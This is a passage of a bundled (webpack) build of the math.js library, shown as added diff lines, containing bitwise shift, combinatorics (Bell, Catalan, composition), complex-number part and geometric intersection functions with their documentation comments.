(x.isFinite() && !x.isInteger() || y.isFinite() && !y.isInteger()) { + throw new Error('Integers expected in function bitXor'); + } + + var BigNumber = x.constructor; + + if (x.isNaN() || y.isNaN()) { + return new BigNumber(NaN); + } + + if (x.isZero()) { + return y; + } + + if (y.isZero()) { + return x; + } + + if (x.eq(y)) { + return new BigNumber(0); + } + + var negOne = new BigNumber(-1); + + if (x.eq(negOne)) { + return bitNot(y); + } + + if (y.eq(negOne)) { + return bitNot(x); + } + + if (!x.isFinite() || !y.isFinite()) { + if (!x.isFinite() && !y.isFinite()) { + return negOne; + } + + return new BigNumber(x.isNegative() === y.isNegative() ? Infinity : -Infinity); + } + + return bitwise(x, y, function (a, b) { + return a ^ b; + }); +}; + +/***/ }), +/* 253 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +var bigLeftShift = __webpack_require__(254); + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + + var matrix = load(__webpack_require__(0)); + var equalScalar = load(__webpack_require__(11)); + var zeros = load(__webpack_require__(43)); + var algorithm01 = load(__webpack_require__(37)); + var algorithm02 = load(__webpack_require__(27)); + var algorithm08 = load(__webpack_require__(94)); + var algorithm10 = load(__webpack_require__(41)); + var algorithm11 = load(__webpack_require__(20)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Bitwise left logical shift of a value x by y number of bits, `x << y`. + * For matrices, the function is evaluated element wise. + * For units, the function is evaluated on the best prefix base. + * + * Syntax: + * + * math.leftShift(x, y) + * + * Examples: + * + * math.leftShift(1, 2) // returns number 4 + * + * math.leftShift([1, 2, 3], 4) // returns Array [16, 32, 64] + * + * See also: + * + * leftShift, bitNot, bitOr, bitXor, rightArithShift, rightLogShift + * + * @param {number | BigNumber | Array | Matrix} x Value to be shifted + * @param {number | BigNumber} y Amount of shifts + * @return {number | BigNumber | Array | Matrix} `x` shifted left `y` times + */ + + var leftShift = typed('leftShift', { + 'number, number': function numberNumber(x, y) { + if (!isInteger(x) || !isInteger(y)) { + throw new Error('Integers expected in function leftShift'); + } + + return x << y; + }, + 'BigNumber, BigNumber': bigLeftShift, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm08(x, y, leftShift, false); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm02(y, x, leftShift, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm01(x, y, leftShift, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, leftShift); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return leftShift(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return leftShift(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return leftShift(x, matrix(y)); + }, + 'SparseMatrix, number | BigNumber': function SparseMatrixNumberBigNumber(x, y) { + // check scalar + if (equalScalar(y, 0)) { + return x.clone(); + } + + return algorithm11(x, y, leftShift, false); + }, + 'DenseMatrix, number | BigNumber': function DenseMatrixNumberBigNumber(x, y) { + // check scalar + if (equalScalar(y, 0)) { + return x.clone(); + } + + return algorithm14(x, y, leftShift, false); + }, + 'number | BigNumber, SparseMatrix': function numberBigNumberSparseMatrix(x, y) { + // check scalar + if (equalScalar(x, 0)) { + return zeros(y.size(), y.storage()); + } + + return algorithm10(y, x, leftShift, true); + }, + 'number | BigNumber, DenseMatrix': function numberBigNumberDenseMatrix(x, y) { + // check scalar + if (equalScalar(x, 0)) { + return zeros(y.size(), y.storage()); + } + + return algorithm14(y, x, leftShift, true); + }, + 'Array, number | BigNumber': function ArrayNumberBigNumber(x, y) { + // use matrix implementation + return leftShift(matrix(x), y).valueOf(); + }, + 'number | BigNumber, Array': function numberBigNumberArray(x, y) { + // use matrix implementation + return leftShift(x, matrix(y)).valueOf(); + } + }); + leftShift.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['leftShift'], "${args[1]}\\right)") + }; + return leftShift; +} + +exports.name = 'leftShift'; +exports.factory = factory; + +/***/ }), +/* 254 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +/** + * Bitwise left shift + * + * Special Cases: + * n << -n = N + * n << N = N + * N << n = N + * n << 0 = n + * 0 << n = 0 + * I << I = N + * I << n = I + * n << I = I + * + * @param {BigNumber} x + * @param {BigNumber} y + * @return {BigNumber} Result of `x` << `y` + * + */ + +module.exports = function leftShift(x, y) { + if (x.isFinite() && !x.isInteger() || y.isFinite() && !y.isInteger()) { + throw new Error('Integers expected in function leftShift'); + } + + var BigNumber = x.constructor; + + if (x.isNaN() || y.isNaN() || y.isNegative() && !y.isZero()) { + return new BigNumber(NaN); + } + + if (x.isZero() || y.isZero()) { + return x; + } + + if (!x.isFinite() && !y.isFinite()) { + return new BigNumber(NaN); + } // Math.pow(2, y) is fully precise for y < 55, and fast + + + if (y.lt(55)) { + return x.times(Math.pow(2, y.toNumber()) + ''); + } + + return x.times(new BigNumber(2).pow(y)); +}; + +/***/ }), +/* 255 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +var bigRightArithShift = __webpack_require__(256); + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + + var matrix = load(__webpack_require__(0)); + var equalScalar = load(__webpack_require__(11)); + var zeros = load(__webpack_require__(43)); + var algorithm01 = load(__webpack_require__(37)); + var algorithm02 = load(__webpack_require__(27)); + var algorithm08 = load(__webpack_require__(94)); + var algorithm10 = load(__webpack_require__(41)); + var algorithm11 = load(__webpack_require__(20)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Bitwise right arithmetic shift of a value x by y number of bits, `x >> y`. + * For matrices, the function is evaluated element wise. + * For units, the function is evaluated on the best prefix base. + * + * Syntax: + * + * math.rightArithShift(x, y) + * + * Examples: + * + * math.rightArithShift(4, 2) // returns number 1 + * + * math.rightArithShift([16, -32, 64], 4) // returns Array [1, -2, 3] + * + * See also: + * + * bitAnd, bitNot, bitOr, bitXor, rightArithShift, rightLogShift + * + * @param {number | BigNumber | Array | Matrix} x Value to be shifted + * @param {number | BigNumber} y Amount of shifts + * @return {number | BigNumber | Array | Matrix} `x` sign-filled shifted right `y` times + */ + + var rightArithShift = typed('rightArithShift', { + 'number, number': function numberNumber(x, y) { + if (!isInteger(x) || !isInteger(y)) { + throw new Error('Integers expected in function rightArithShift'); + } + + return x >> y; + }, + 'BigNumber, BigNumber': bigRightArithShift, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm08(x, y, rightArithShift, false); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm02(y, x, rightArithShift, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm01(x, y, rightArithShift, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, rightArithShift); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return rightArithShift(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return rightArithShift(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return rightArithShift(x, matrix(y)); + }, + 'SparseMatrix, number | BigNumber': function SparseMatrixNumberBigNumber(x, y) { + // check scalar + if (equalScalar(y, 0)) { + return x.clone(); + } + + return algorithm11(x, y, rightArithShift, false); + }, + 'DenseMatrix, number | BigNumber': function DenseMatrixNumberBigNumber(x, y) { + // check scalar + if (equalScalar(y, 0)) { + return x.clone(); + } + + return algorithm14(x, y, rightArithShift, false); + }, + 'number | BigNumber, SparseMatrix': function numberBigNumberSparseMatrix(x, y) { + // check scalar + if (equalScalar(x, 0)) { + return zeros(y.size(), y.storage()); + } + + return algorithm10(y, x, rightArithShift, true); + }, + 'number | BigNumber, DenseMatrix': function numberBigNumberDenseMatrix(x, y) { + // check scalar + if (equalScalar(x, 0)) { + return zeros(y.size(), y.storage()); + } + + return algorithm14(y, x, rightArithShift, true); + }, + 'Array, number | BigNumber': function ArrayNumberBigNumber(x, y) { + // use matrix implementation + return rightArithShift(matrix(x), y).valueOf(); + }, + 'number | BigNumber, Array': function numberBigNumberArray(x, y) { + // use matrix implementation + return rightArithShift(x, matrix(y)).valueOf(); + } + }); + rightArithShift.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['rightArithShift'], "${args[1]}\\right)") + }; + return rightArithShift; +} + +exports.name = 'rightArithShift'; +exports.factory = factory; + +/***/ }), +/* 256 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +/* + * Special Cases: + * n >> -n = N + * n >> N = N + * N >> n = N + * I >> I = N + * n >> 0 = n + * I >> n = I + * -I >> n = -I + * -I >> I = -I + * n >> I = I + * -n >> I = -1 + * 0 >> n = 0 + * + * @param {BigNumber} value + * @param {BigNumber} value + * @return {BigNumber} Result of `x` >> `y` + * + */ + +module.exports = function rightArithShift(x, y) { + if (x.isFinite() && !x.isInteger() || y.isFinite() && !y.isInteger()) { + throw new Error('Integers expected in function rightArithShift'); + } + + var BigNumber = x.constructor; + + if (x.isNaN() || y.isNaN() || y.isNegative() && !y.isZero()) { + return new BigNumber(NaN); + } + + if (x.isZero() || y.isZero()) { + return x; + } + + if (!y.isFinite()) { + if (x.isNegative()) { + return new BigNumber(-1); + } + + if (!x.isFinite()) { + return new BigNumber(NaN); + } + + return new BigNumber(0); + } // Math.pow(2, y) is fully precise for y < 55, and fast + + + if (y.lt(55)) { + return x.div(Math.pow(2, y.toNumber()) + '').floor(); + } + + return x.div(new BigNumber(2).pow(y)).floor(); +}; + +/***/ }), +/* 257 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + + var matrix = load(__webpack_require__(0)); + var equalScalar = load(__webpack_require__(11)); + var zeros = load(__webpack_require__(43)); + var algorithm01 = load(__webpack_require__(37)); + var algorithm02 = load(__webpack_require__(27)); + var algorithm08 = load(__webpack_require__(94)); + var algorithm10 = load(__webpack_require__(41)); + var algorithm11 = load(__webpack_require__(20)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Bitwise right logical shift of value x by y number of bits, `x >>> y`. + * For matrices, the function is evaluated element wise. + * For units, the function is evaluated on the best prefix base. + * + * Syntax: + * + * math.rightLogShift(x, y) + * + * Examples: + * + * math.rightLogShift(4, 2) // returns number 1 + * + * math.rightLogShift([16, -32, 64], 4) // returns Array [1, 2, 3] + * + * See also: + * + * bitAnd, bitNot, bitOr, bitXor, leftShift, rightLogShift + * + * @param {number | Array | Matrix} x Value to be shifted + * @param {number} y Amount of shifts + * @return {number | Array | Matrix} `x` zero-filled shifted right `y` times + */ + + var rightLogShift = typed('rightLogShift', { + 'number, number': function numberNumber(x, y) { + if (!isInteger(x) || !isInteger(y)) { + throw new Error('Integers expected in function rightLogShift'); + } + + return x >>> y; + }, + // 'BigNumber, BigNumber': ..., // TODO: implement BigNumber support for rightLogShift + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm08(x, y, rightLogShift, false); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm02(y, x, rightLogShift, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm01(x, y, rightLogShift, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, rightLogShift); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return rightLogShift(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return rightLogShift(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return rightLogShift(x, matrix(y)); + }, + 'SparseMatrix, number | BigNumber': function SparseMatrixNumberBigNumber(x, y) { + // check scalar + if (equalScalar(y, 0)) { + return x.clone(); + } + + return algorithm11(x, y, rightLogShift, false); + }, + 'DenseMatrix, number | BigNumber': function DenseMatrixNumberBigNumber(x, y) { + // check scalar + if (equalScalar(y, 0)) { + return x.clone(); + } + + return algorithm14(x, y, rightLogShift, false); + }, + 'number | BigNumber, SparseMatrix': function numberBigNumberSparseMatrix(x, y) { + // check scalar + if (equalScalar(x, 0)) { + return zeros(y.size(), y.storage()); + } + + return algorithm10(y, x, rightLogShift, true); + }, + 'number | BigNumber, DenseMatrix': function numberBigNumberDenseMatrix(x, y) { + // check scalar + if (equalScalar(x, 0)) { + return zeros(y.size(), y.storage()); + } + + return algorithm14(y, x, rightLogShift, true); + }, + 'Array, number | BigNumber': function ArrayNumberBigNumber(x, y) { + // use matrix implementation + return rightLogShift(matrix(x), y).valueOf(); + }, + 'number | BigNumber, Array': function numberBigNumberArray(x, y) { + // use matrix implementation + return rightLogShift(x, matrix(y)).valueOf(); + } + }); + rightLogShift.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['rightLogShift'], "${args[1]}\\right)") + }; + return rightLogShift; +} + +exports.name = 'rightLogShift'; +exports.factory = factory; + +/***/ }), +/* 258 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(259), __webpack_require__(260), __webpack_require__(140), __webpack_require__(261)]; + +/***/ }), +/* 259 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var add = load(__webpack_require__(14)); + var stirlingS2 = load(__webpack_require__(140)); + var isNegative = load(__webpack_require__(61)); + var isInteger = load(__webpack_require__(34)); + /** + * The Bell Numbers count the number of partitions of a set. A partition is a pairwise disjoint subset of S whose union is S. + * bellNumbers only takes integer arguments. + * The following condition must be enforced: n >= 0 + * + * Syntax: + * + * math.bellNumbers(n) + * + * Examples: + * + * math.bellNumbers(3) // returns 5 + * math.bellNumbers(8) // returns 4140 + * + * See also: + * + * stirlingS2 + * + * @param {Number | BigNumber} n Total number of objects in the set + * @return {Number | BigNumber} B(n) + */ + + var bellNumbers = typed('bellNumbers', { + 'number | BigNumber': function numberBigNumber(n) { + if (!isInteger(n) || isNegative(n)) { + throw new TypeError('Non-negative integer value expected in function bellNumbers'); + } // Sum (k=0, n) S(n,k). + + + var result = 0; + + for (var i = 0; i <= n; i++) { + result = add(result, stirlingS2(n, i)); + } + + return result; + } + }); + bellNumbers.toTex = { + 1: "\\mathrm{B}_{${args[0]}}" + }; + return bellNumbers; +} + +exports.name = 'bellNumbers'; +exports.factory = factory; + +/***/ }), +/* 260 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var combinations = load(__webpack_require__(76)); + var add = load(__webpack_require__(17)); + var isPositive = load(__webpack_require__(73)); + var isInteger = load(__webpack_require__(34)); + var larger = load(__webpack_require__(33)); + /** + * The composition counts of n into k parts. + * + * composition only takes integer arguments. + * The following condition must be enforced: k <= n. + * + * Syntax: + * + * math.composition(n, k) + * + * Examples: + * + * math.composition(5, 3) // returns 6 + * + * See also: + * + * combinations + * + * @param {Number | BigNumber} n Total number of objects in the set + * @param {Number | BigNumber} k Number of objects in the subset + * @return {Number | BigNumber} Returns the composition counts of n into k parts. + */ + + var composition = typed('composition', { + 'number | BigNumber, number | BigNumber': function numberBigNumberNumberBigNumber(n, k) { + if (!isInteger(n) || !isPositive(n) || !isInteger(k) || !isPositive(k)) { + throw new TypeError('Positive integer value expected in function composition'); + } else if (larger(k, n)) { + throw new TypeError('k must be less than or equal to n in function composition'); + } + + return combinations(add(n, -1), add(k, -1)); + } + }); + composition.toTex = undefined; // use default template + + return composition; +} + +exports.name = 'composition'; +exports.factory = factory; + +/***/ }), +/* 261 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var add = load(__webpack_require__(14)); + var divide = load(__webpack_require__(45)); + var multiply = load(__webpack_require__(10)); + var combinations = load(__webpack_require__(76)); + var isNegative = load(__webpack_require__(61)); + var isInteger = load(__webpack_require__(34)); + /** + * The Catalan Numbers enumerate combinatorial structures of many different types. + * catalan only takes integer arguments. + * The following condition must be enforced: n >= 0 + * + * Syntax: + * + * math.catalan(n) + * + * Examples: + * + * math.catalan(3) // returns 5 + * math.catalan(8) // returns 1430 + * + * See also: + * + * bellNumbers + * + * @param {Number | BigNumber} n nth Catalan number + * @return {Number | BigNumber} Cn(n) + */ + + var catalan = typed('catalan', { + 'number | BigNumber': function numberBigNumber(n) { + if (!isInteger(n) || isNegative(n)) { + throw new TypeError('Non-negative integer value expected in function catalan'); + } + + return divide(combinations(multiply(n, 2), n), add(n, 1)); + } + }); + catalan.toTex = { + 1: "\\mathrm{C}_{${args[0]}}" + }; + return catalan; +} + +exports.name = 'catalan'; +exports.factory = factory; + +/***/ }), +/* 262 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(263), __webpack_require__(71), __webpack_require__(264), __webpack_require__(265)]; + +/***/ }), +/* 263 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Compute the argument of a complex value. + * For a complex number `a + bi`, the argument is computed as `atan2(b, a)`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.arg(x) + * + * Examples: + * + * const a = math.complex(2, 2) + * math.arg(a) / math.pi // returns number 0.25 + * + * const b = math.complex('2 + 3i') + * math.arg(b) // returns number 0.982793723247329 + * math.atan2(3, 2) // returns number 0.982793723247329 + * + * See also: + * + * re, im, conj, abs + * + * @param {number | BigNumber | Complex | Array | Matrix} x + * A complex number or array with complex numbers + * @return {number | BigNumber | Array | Matrix} The argument of x + */ + var arg = typed('arg', { + 'number': function number(x) { + return Math.atan2(0, x); + }, + 'BigNumber': function BigNumber(x) { + return type.BigNumber.atan2(0, x); + }, + 'Complex': function Complex(x) { + return x.arg(); + }, + // TODO: implement BigNumber support for function arg + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, arg); + } + }); + arg.toTex = { + 1: "\\arg\\left(${args[0]}\\right)" + }; + return arg; +} + +exports.name = 'arg'; +exports.factory = factory; + +/***/ }), +/* 264 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Get the imaginary part of a complex number. + * For a complex number `a + bi`, the function returns `b`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.im(x) + * + * Examples: + * + * const a = math.complex(2, 3) + * math.re(a) // returns number 2 + * math.im(a) // returns number 3 + * + * math.re(math.complex('-5.2i')) // returns number -5.2 + * math.re(math.complex(2.4)) // returns number 0 + * + * See also: + * + * re, conj, abs, arg + * + * @param {number | BigNumber | Complex | Array | Matrix} x + * A complex number or array with complex numbers + * @return {number | BigNumber | Array | Matrix} The imaginary part of x + */ + var im = typed('im', { + 'number': function number(x) { + return 0; + }, + 'BigNumber': function BigNumber(x) { + return new type.BigNumber(0); + }, + 'Complex': function Complex(x) { + return x.im; + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, im); + } + }); + im.toTex = { + 1: "\\Im\\left\\lbrace${args[0]}\\right\\rbrace" + }; + return im; +} + +exports.name = 'im'; +exports.factory = factory; + +/***/ }), +/* 265 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Get the real part of a complex number. + * For a complex number `a + bi`, the function returns `a`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.re(x) + * + * Examples: + * + * const a = math.complex(2, 3) + * math.re(a) // returns number 2 + * math.im(a) // returns number 3 + * + * math.re(math.complex('-5.2i')) // returns number 0 + * math.re(math.complex(2.4)) // returns number 2.4 + * + * See also: + * + * im, conj, abs, arg + * + * @param {number | BigNumber | Complex | Array | Matrix} x + * A complex number or array with complex numbers + * @return {number | BigNumber | Array | Matrix} The real part of x + */ + var re = typed('re', { + 'number': function number(x) { + return x; + }, + 'BigNumber': function BigNumber(x) { + return x; + }, + 'Complex': function Complex(x) { + return x.re; + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, re); + } + }); + re.toTex = { + 1: "\\Re\\left\\lbrace${args[0]}\\right\\rbrace" + }; + return re; +} + +exports.name = 're'; +exports.factory = factory; + +/***/ }), +/* 266 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(267), __webpack_require__(268)]; + +/***/ }), +/* 267 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var abs = load(__webpack_require__(25)); + var add = load(__webpack_require__(14)); + var addScalar = load(__webpack_require__(17)); + var matrix = load(__webpack_require__(0)); + var multiply = load(__webpack_require__(10)); + var multiplyScalar = load(__webpack_require__(21)); + var divideScalar = load(__webpack_require__(12)); + var subtract = load(__webpack_require__(15)); + var smaller = load(__webpack_require__(38)); + var equalScalar = load(__webpack_require__(11)); + /** + * Calculates the point of intersection of two lines in two or three dimensions + * and of a line and a plane in three dimensions. The inputs are in the form of + * arrays or 1 dimensional matrices. The line intersection functions return null + * if the lines do not meet. + * + * Note: Fill the plane coefficients as `x + y + z = c` and not as `x + y + z + c = 0`. + * + * Syntax: + * + * math.intersect(endPoint1Line1, endPoint2Line1, endPoint1Line2, endPoint2Line2) + * math.intersect(endPoint1, endPoint2, planeCoefficients) + * + * Examples: + * + * math.intersect([0, 0], [10, 10], [10, 0], [0, 10]) // Returns [5, 5] + * math.intersect([0, 0, 0], [10, 10, 0], [10, 0, 0], [0, 10, 0]) // Returns [5, 5, 0] + * math.intersect([1, 0, 1], [4, -2, 2], [1, 1, 1, 6]) // Returns [7, -4, 3] + * + * @param {Array | Matrix} w Co-ordinates of first end-point of first line + * @param {Array | Matrix} x Co-ordinates of second end-point of first line + * @param {Array | Matrix} y Co-ordinates of first end-point of second line + * OR Co-efficients of the plane's equation + * @param {Array | Matrix} z Co-ordinates of second end-point of second line + * OR null if the calculation is for line and plane + * @return {Array} Returns the point of intersection of lines/lines-planes + */ + + var intersect = typed('intersect', { + 'Array, Array, Array': function ArrayArrayArray(x, y, plane) { + if (!_3d(x)) { + throw new TypeError('Array with 3 numbers or BigNumbers expected for first argument'); + } + + if (!_3d(y)) { + throw new TypeError('Array with 3 numbers or BigNumbers expected for second argument'); + } + + if (!_4d(plane)) { + throw new TypeError('Array with 4 numbers expected as third argument'); + } + + return _intersectLinePlane(x[0], x[1], x[2], y[0], y[1], y[2], plane[0], plane[1], plane[2], plane[3]); + }, + 'Array, Array, Array, Array': function ArrayArrayArrayArray(w, x, y, z) { + if (w.length === 2) { + if (!_2d(w)) { + throw new TypeError('Array with 2 numbers or BigNumbers expected for first argument'); + } + + if (!_2d(x)) { + throw new TypeError('Array with 2 numbers or BigNumbers expected for second argument'); + } + + if (!_2d(y)) { + throw new TypeError('Array with 2 numbers or BigNumbers expected for third argument'); + } + + if (!_2d(z)) { + throw new TypeError('Array with 2 numbers or BigNumbers expected for fourth argument'); + } + + return _intersect2d(w, x, y, z); + } else if (w.length === 3) { + if (!_3d(w)) { + throw new TypeError('Array with 3 numbers or BigNumbers expected for first argument'); + } + + if (!_3d(x)) { + throw new TypeError('Array with 3 numbers or BigNumbers expected for second argument'); + } + + if (!_3d(y)) { + throw new TypeError('Array with 3 numbers or BigNumbers expected for third argument'); + } + + if (!_3d(z)) { + throw new TypeError('Array with 3 numbers or BigNumbers expected for fourth argument'); + } + + return _intersect3d(w[0], w[1], w[2], x[0], x[1], x[2], y[0], y[1], y[2], z[0], z[1], z[2]); + } else { + throw new TypeError('Arrays with two or thee dimensional points expected'); + } + }, + 'Matrix, Matrix, Matrix': function MatrixMatrixMatrix(x, y, plane) { + return matrix(intersect(x.valueOf(), y.valueOf(), plane.valueOf())); + }, + 'Matrix, Matrix, Matrix, Matrix': function MatrixMatrixMatrixMatrix(w, x, y, z) { + // TODO: output matrix type should match input matrix type + return matrix(intersect(w.valueOf(), x.valueOf(), y.valueOf(), z.valueOf())); + } + }); + + function _isNumber(a) { + // intersect supports numbers and bignumbers + return typeof a === 'number' || type.isBigNumber(a); + } + + function _2d(x) { + return x.length === 2 && _isNumber(x[0]) && _isNumber(x[1]); + } + + function _3d(x) { + return x.length === 3 && _isNumber(x[0]) && _isNumber(x[1]) && _isNumber(x[2]); + } + + function _4d(x) { + return x.length === 4 && _isNumber(x[0]) && _isNumber(x[1]) && _isNumber(x[2]) && _isNumber(x[3]); + } + + function _intersect2d(p1a, p1b, p2a, p2b) { + var o1 = p1a; + var o2 = p2a; + var d1 = subtract(o1, p1b); + var d2 = subtract(o2, p2b); + var det = subtract(multiplyScalar(d1[0], d2[1]), multiplyScalar(d2[0], d1[1])); + + if (smaller(abs(det), config.epsilon)) { + return null; + } + + var d20o11 = multiplyScalar(d2[0], o1[1]); + var d21o10 = multiplyScalar(d2[1], o1[0]); + var d20o21 = multiplyScalar(d2[0], o2[1]); + var d21o20 = multiplyScalar(d2[1], o2[0]); + var t = divideScalar(addScalar(subtract(subtract(d20o11, d21o10), d20o21), d21o20), det); + return add(multiply(d1, t), o1); + } + + function _intersect3dHelper(a, b, c, d, e, f, g, h, i, j, k, l) { + // (a - b)*(c - d) + (e - f)*(g - h) + (i - j)*(k - l) + var add1 = multiplyScalar(subtract(a, b), subtract(c, d)); + var add2 = multiplyScalar(subtract(e, f), subtract(g, h)); + var add3 = multiplyScalar(subtract(i, j), subtract(k, l)); + return addScalar(addScalar(add1, add2), add3); + } + + function _intersect3d(x1, y1, z1, x2, y2, z2, x3, y3, z3, x4, y4, z4) { + var d1343 = _intersect3dHelper(x1, x3, x4, x3, y1, y3, y4, y3, z1, z3, z4, z3); + + var d4321 = _intersect3dHelper(x4, x3, x2, x1, y4, y3, y2, y1, z4, z3, z2, z1); + + var d1321 = _intersect3dHelper(x1, x3, x2, x1, y1, y3, y2, y1, z1, z3, z2, z1); + + var d4343 = _intersect3dHelper(x4, x3, x4, x3, y4, y3, y4, y3, z4, z3, z4, z3); + + var d2121 = _intersect3dHelper(x2, x1, x2, x1, y2, y1, y2, y1, z2, z1, z2, z1); + + var ta = divideScalar(subtract(multiplyScalar(d1343, d4321), multiplyScalar(d1321, d4343)), subtract(multiplyScalar(d2121, d4343), multiplyScalar(d4321, d4321))); + var tb = divideScalar(addScalar(d1343, multiplyScalar(ta, d4321)), d4343); + var pax = addScalar(x1, multiplyScalar(ta, subtract(x2, x1))); + var pay = addScalar(y1, multiplyScalar(ta, subtract(y2, y1))); + var paz = addScalar(z1, multiplyScalar(ta, subtract(z2, z1))); + var pbx = addScalar(x3, multiplyScalar(tb, subtract(x4, x3))); + var pby = addScalar(y3, multiplyScalar(tb, subtract(y4, y3))); + var pbz = addScalar(z3, multiplyScalar(tb, subtract(z4, z3))); + + if (equalScalar(pax, pbx) && equalScalar(pay, pby) && equalScalar(paz, pbz)) { + return [pax, pay, paz]; + } else { + return null; + } + } + + function _intersectLinePlane(x1, y1, z1, x2, y2, z2, x, y, z, c) { + var x1x = multiplyScalar(x1, x); + var x2x = multiplyScalar(x2, x); + var y1y = multiplyScalar(y1, y); + var y2y = multiplyScalar(y2, y); + var z1z = multiplyScalar(z1, z); + var z2z = multiplyScalar(z2, z); + var t = divideScalar(subtract(subtract(subtract(c, x1x), y1y), z1z), subtract(subtract(subtract(addScalar(addScalar(x2x, y2y), z2z), x1x), y1y), z1z)); + var px = addScalar(x1, multiplyScalar(t, subtract(x2, x1))); + var py = addScalar(y1, multiplyScalar(t, subtract(y2, y1))); + var pz = addScalar(z1, multiplyScalar(t, subtract(z2, z1))); + return [px, py, pz]; // TODO: Add cases when line is parallel to the plane: + // (a) no intersection, + // (b) line contained in plane + } + + return intersect; +} + +exports.name = 'intersect'; +exports.factory = factory; + +/***/ }), +/* 268 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var add = load(__webpack_require__(17)); + var subtract = load(__webpack_require__(15)); + var multiply = load(__webpack_require__(21)); + var divide = load(__webpack_require__(12)); + var negate = load(__webpack_require__(39)); + var sqrt = load(__webpack_require__(46)); + var abs = load(__webpack_require__(25)); + /** + * Calculates: + * The eucledian distance between two points in 2 and 3 dimensional spaces. + * Distance between point and a line in 2 and 3 dimensional spaces. + * Pairwise distance between a set of 2D or 3D points + * NOTE: + * When substituting coefficients of a line(a, b and c), use ax + by + c = 0 instead of ax + by = c + * For parametric equation of a 3D line, x0, y0, z0, a, b, c are from: (x−x0, y−y0, z−z0) = t(a, b, c) + * + * Syntax: + * math.distance([x1, y1], [x2, y2]) + *- math.distance({pointOneX: 4, pointOneY: 5}, {pointTwoX: 2, pointTwoY: 7}) + * math.distance([x1, y1, z1], [x2, y2, z2]) + * math.distance({pointOneX: 4, pointOneY: 5, pointOneZ: 8}, {pointTwoX: 2, pointTwoY: 7, pointTwoZ: 9}) + * math.distance([[A], [B], [C]...]) + * math.distance([x1, y1], [LinePtX1, LinePtY1], [LinePtX2, LinePtY2]) + * math.distance({pointX: 1, pointY: 4}, {lineOnePtX: 6, lineOnePtY: 3}, {lineTwoPtX: 2, lineTwoPtY: 8}) + * math.distance([x1, y1, z1], [LinePtX1, 